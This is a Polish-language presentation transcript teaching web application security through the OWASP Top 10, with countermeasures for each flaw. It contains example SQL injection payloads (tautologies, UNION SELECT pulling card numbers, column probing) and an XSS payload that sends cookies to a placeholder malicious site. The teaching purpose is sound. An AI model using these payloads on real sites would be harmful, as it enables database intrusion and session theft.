Loading presentation...

Present Remotely

Send the link below via email or IM

Copy

Present to your audience

Start remote presentation

  • Invited audience members will follow you as you navigate and present
  • People invited to a presentation do not need a Prezi account
  • This link expires 10 minutes after you close the presentation
  • A maximum of 30 users can follow your presentation
  • Learn more about this feature in our knowledge base article

Do you really want to delete this prezi?

Neither you, nor the coeditors you shared it with will be able to recover it again.

DeleteCancel

Make your likes visible on Facebook?

Connect your Facebook account to Prezi and let your likes appear on your timeline.
You can change this under Settings & Account at any time.

No, thanks

Copy of Bezpieczeństwo aplikacji internetowych

No description
by

Hubert O

on 10 January 2017

Comments (0)

Please log in to add your comment.

Report abuse

Transcript of Copy of Bezpieczeństwo aplikacji internetowych

Zasada działania aplikacji internetowych
Narzędzia wykorzystywane do analizowania aplikacji internetowych
Podstawy budowania
bezpiecznego oprogramowania

Bezpieczeństwo aplikacji internetowych

Serwer

Przeglądarka internetowa

Niezaufany kanał łączności
Podstawy protokołu HTTP
Żądanie HTTP
(request)
Odpowiedź HTTP
(response)
Przekazywanie parametrów
Metoda Get:
parametry przekazywane są w adresie strony po znaku "?",
poszczególne parametry rozdzielane sa znakiem "&",
zwyczajowa postać w adresie URL parametr=wartość,
Konieczność stosowania URL Encoding.
Metoda POST:
Zarówno nazwy parametrów jak i ich wartości nie są widoczne w adresie URL,
Parametry oraz ich wartości przekazywane są w nagłówku zapytania,
Mozliwość przekazywania dużej ilośći parametrów.
Burpsuite
Fillder
Webscarab
Proxy lokalne
organizacja non-profit, która ma na celu poprawę bezpieczeństwa aplikacji internetowych,
w jej ramach powstają artykuły, metodologie, dokumentacje, materiały szkoleiowe i edukacyjne oraz narzędzia do wykonywania testów aplikacji internetowych,
ilość członków: 42 000+,
Rozk założenia: 2001,
oficjalna strona www.owasp.org zawiera praktyczne testy wraz z objaśnieniem najważniejszych błędów spotykanych w aplikacjach internetowych.
OWASP TOP 10
(2013)
A1 - Injection
A2 - Broken Authentication and Session Management
A3 - Cross-Site Scripting (XSS)
A4 - Insecure Direct Object References
A5 - Security Misconfiguration
A6 - Sensitive Data Exposure
A7 - Misssing Function Level Access Control
A8 - Cross-Site Request Forgery (CSRF)
A9 - Using Components with Known Vulnerabilities
A10 - Unvalidated Redirects ad Forwards
A1 - Injection
Błędy z tej grupy pojawiają się w sytuacjach, w których aplikacja pobiera niezweryfikowane dane od użytkownika i przesyła je bezpośrednio do miejsca gdzie są przetważane. Błędy tego rodzaju umożliwiają wstrzyknięcie kodu do interpretera np. SQL Injection, XPath, polecenia systemu operacyjnego, interpretery XML.
SQL Injection
Przyczyny występowania:
niewystarzająca walidacja danych wejściowych,
brak kodowania znaków specjalnych (CR, LF) co w efekcie prowadzi do wstawiania ich bezpośrednio w zapytania SQL.

Skutki
:
pełna kontrola nad zawartością bazy danych,
możliwość przejęcia kontoli nad serwerem, na którym zainstalowana jest baza danych
Narzędzie do automatycznego wykrywania podatności typu SQL Injection - SQLMAP
Możliwości wykorzystania
Typy SQL Injection
Weryfikacja czy analizowa strona internetowa jest podatna a SQL Injection
Identyfikacja wszystkich dostępnych baz danych na analizowanym serwerze
Identyfikacja wszystkich tabel w wybranej bazie danych
HTTP/1.1 200 OK
Date: Mon, 11 May 2011 11:11:11 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: UTF-8
Content-Length: 112
Last-Modified: Wed, 08 Jan 2016 13:13:55 GMT
Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)
Accept-Ranges: bytes
Connection: close

<html>
<head>
<title>Some page</title>
</head>
<body>
<h1>Some Page</h1>.
</body>
</html>

GET /hello.htm HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Host: www.tutorialspoint.com

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Connection: Keep-Alive
Zwykły SQL Injection
polega na odpowiednim modyfikowaniu parametrów tak, aby zapytanie kierowane do bazy danych miało postać pożądaną przez testera aplikacji,

wynik zapytania wyświetlany jest na stronie w postaci jawnej.
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";
Bllind SQL Injection
podobnie jak zwykły SQL Injection polega na zmodyfikowaniu zapytania SQL, które zostanie przetworzone przez bazdę danych,

dostarcza informacji czy zapytanie zakończyło się sukcesem czy niepowodzeniem.
Przykład:
http://newspaper.com/items.php?id=2 and 1=2

http://newspaper.com/items.php?id=2 and 1=1
Na podstawie róznic w wyświetlaniu można zweryfikować czy zapytanie wykonało się poprawnie.
różnią się przede wszystkim sposobem wyświetlania wyników,
celem dwóch metod jest zmodyfikowanie zapytania, które zostanie przetworzone przez bazę danych,
Modyfikacje:
"WHERE" - umożliwiają wyświetlanie większej ilości inforamcji,
"UNION SELECT" - umożliwiają wyświetlenie danych z kilu tabel
SELECT * FROM tabela WHERE id=-1 UNION SELECT * FROM tabela1

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
Przykłady:
http://example.com/app/accountView?id=' or '1'='1
Warunki poprawnej realizacji:
poszczególne kolumny muszą być tego samego typu,
oba zapytania muszą zwracać taką samą ilość kolumn,
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1


-1 UNION SELECT null, null, null
-1 UNION SELECT null, null, null, null, null

1 ORDER BY 4
1 ORDER BY 5
Sposoby określenia ilości kolumn:

Common Vulnerabilities and Exposures
Zasada działania podstaności typu Injection
Response
Request
1. Wyświetlenie strony www
2. Wysłanie szkodliwego
kodu w formatce
3. Serwer przesyła
szkodliwe dane do
bazy danych
4. Otrzymane dane są przetwarzane przez bazę danych, a wynik jest przesyłany spowrotem do serwera
5. Rezultat zapytania jest wysyłany do klienta jako zwykły "Response"
A2 - Broken Authentication and Session Management
HTTP jest protokołem bezstanowym co znaczy, że dane logowania powiny byc przekazywane w każdym request'ie ?!
Podatności z tej grupy są wynikiem nieprawidłowej implementacji algorytmów autoryzacji użytkowników oraz zarządzającymi ich sesjami. Ze względu na problemy z ochroną uprawnień oraz identyfikatorami sesji, konta użytkowników mogą zostać przejęte.
1. Użytkownik wysyła dane
logowania do serwera
2. Serwer w odpowiedzi
wysyła identyfikator sesji (w URL)
www.simplesite.pl?SESSIONID=9328FA32....
3. Użytkownik wchodzi pod
spreparowany link,
np. umieszczony na forum
4. Hacker sprawdza
pole "refferer"
i odnajduje wartość SESSIONID
Przykład
A3 - Cross-Site Scripting (XSS)
Błędy tego typu są odmianą ataków typu "Injection". Ich reazlizacja jest możliwa głównie w miejscach, w których pobierane są dane od użytkowników. Atak umożlwia wykonanie szkodliwego kodu, który został wprowadzony przez hackera w przeglądarkach zwykłych użytkowników.
Przykład
Cross-Site Scripting - Schemat
Metoda:
Post
http://www.simplesite.pl/comment
<script>document.cookie</script>
Przeglarka oraz
serwer zawierający
złośliwą stronę
Baza danych:
<script>window.location="http://zlosliwastrona.pl/?cookie="+document.cookie</script>

Spreparowana odpowiedz:
<html>
"Komentarz:" + database.komentarz
</html>
<html>
Komentarz:
<script>
window.location=
"http://zlosiwastrona.pl/?cookie="+document.cookie
</script>
</html>

Ofiara:
A8 - Cross-Site Request Forgery (CSRF)
Podatność aplikacji web, która umożliwia atakującemu zmuszenie przeglądarki ofiary do wykonania określonej czynności w kontkeście podatnej aplikacji z uprawnieniami zalogowanego użytkownika. Podtanośc ta jest ciągle popularna ponieważ wiele aplikacji ciągle polega na zautomatyzowanych mechanizmach autoryzacji, a przy tym umożliwiając przeprowadzenie okreslonej operacji bez dodatkowej autoryzacji.
Metody przeciwdziałania
Przykład
Cross-Site Request Forgery - Schemat
Broken Authentication and Session Management - Schemat
Metody przeciwdziałania
Metody przeciwdziałania
1. Atakujący wysyła spreparowany link do podatnej aplikacji, do użytkownika z wykorzystaniem maila lub umieszcza go na stronie www.
2. Ofiara w czasie gdy jest zalogowana do podatnej apalikacji otwiera link otrzymany od atakującego.
3. Podatna aplikacja wykonuje określone działanie na podstawie funkcji zawartej w linku z uprawnieniami zalogowanego użytkownika.
Skutki:
inicjalizacja transakcji (np. serwisach bankowości elektronicznej),
modyfikacja parametrów konta,
dostęp do wrażliwych danych.
generowanie losowej wartości lub wartości zabezpieczonej kryptograficznie do każdego żądania, które ma zwracać wrażliwe dane,

dodawanie losowego tokenu danej sesji do wszystkich linków i kontrolek na stronie,

blokowanie możliwości wysyłania losowego tokena w polu "refferer",

dodatkowe logowanie do najważniejszych funkcji w aplikacji.
Skutki:
przejęcie kontroli nad kontem dowolnego użytkownika podatnej aplikacji,
przejęcie kontroli nad kontem w ramach przejętej sesji dowolnego użytkownika podatnej aplikacji.
implementacja prostych metod autoryzacji, które są ustandaryzowane i scentralizowane,

weryfikacja poprawności certyfikatu SSL,

wylogowanie powinno zamykać otwartą sesję,

przeprowadzenie testów bezpieczeńśtwa,

dane autoryzacjyjne oraz SESSIONID powinny być chronione za pomocą protokołu SSL
Skutki:
kradzież sesji użytkownika,
kradzież wrażliwych danch użytkowników serwisu,
możliwość przekierowania użytkowników na złośliwą stronę,
modyfikacja wyglądu samej aplikacji.
brak możliwości wyświetlania danych, które zostały wprowadzone przez uzytkownika,

wprowadzenie tzw. białej listy danych, które mogą być wprowadzone przez użytkownika,

implementacja założeń Content Security Policy (CSP)
Skutki:
możliwość wglądu do całej bazy danych oraz modyfikacja jej pól,
możwość skompromitowania kont użytkowników,
realne ryzyko przejęcia kontroli nad serwerem.
A4 - Insecure Direct Object References
Podatność polegająca na możliwości bezpośredniego odwołania się do obiektu (pliku, klucza, katalogu) poprzez parametr w adresie URL (metoda GET) lub parametrze (metoda POST). W przypadku, gdy aplikacja nie sprawdza praw dostępu, atakujący może uzyskać dostęp do innych obiektów bez uprzedniej autoryzacji.
Skutki:
nieautoryzowany dostęp do danych,
możliwość modyfikacji danych nienalężacych do użytkownika danej sesji,
możliwość wlgądu w pliki systemowe serwera.
A4 - Insecure Direct Object References
Przykład
http://www.bank.pl/?user=12910481
1. Atakujący lokalizuje niechroniony obiekt w parametrach strony lub URL

2. Modyfikuje zdlokalizowany wcześniej obiekt.

3. Uzyskuje wgląd w dane innego użytkownika
Metody przeciwdziałania
usunięcie bezpośrednich odwołań do obiektów poprzez zastąpienie ich wartościami tymczasowymi,

validacja dostępu do obiektów poprzez sprawdzanie poprawności formatowania, praw dostępu użytkownika, praw RWE
A10 - Unvalidated Redirects ad Forwards
Podatność polegająca na możliwości przekierowania użytkownika danej aplikacji internetowej pod wybrany przez atakującego adres www, w wyniku wykorzystania parametrów żądania.
Skutki:
przekierowanie użytkownika na szkodliwą stronę www,
dostęp do nieautoryzowanych danych innego użytkownika
Unvalidated Redirects ad Forwards
Przykład
Metody przeciwdziałania
1. Atakujący wysyła do ofiary maila zawierającego link wraz z zmodyfikowanym parametrem
2. Ofiara klika w link z parametrem, który nie podlega walidacji
www.dobrastrona.pl/?param1=kdksl312&param2dst=www.szkodliwastrona..pl
3.
3. Aplikacja przekierowuje użykownika pod adres, który znajduje się w parametrze.
4. Szkodliwa strona infekuje komputer ofiary
ograniczenie możliwie jaknajwiększej liczby przekierowań ze strony aplikacji,

parametry funkcji nie powinny zawierać adresu URL,

walidacja parametrów zawierających URL pod kątem obszaru danej aplikacji,
Browser Exploitation Framework
Architektura
Konfiguracja i uruchomienie
Panel administracyjny
Moduł to phishing'u
Połączenie z narzędziami do wykonywania testów penetracyjnch
Moduł gromadzący informacje
Metody przeciwdziałania
ograniczenie wykorzystania wszelkiego rodzaju internpreterów,

wykorzystywanie interfejsów, które mapują wartości na procedury,

kodowanie wszystkich wartości otrzymanych od użytkownika,

minimalizacja uprawnień użytkownika w ramach bazy danych,

implementacja tzw. białej listy, która zawiera dopuszczalne wartości, które może wprowadzić użytkownik.
Full transcript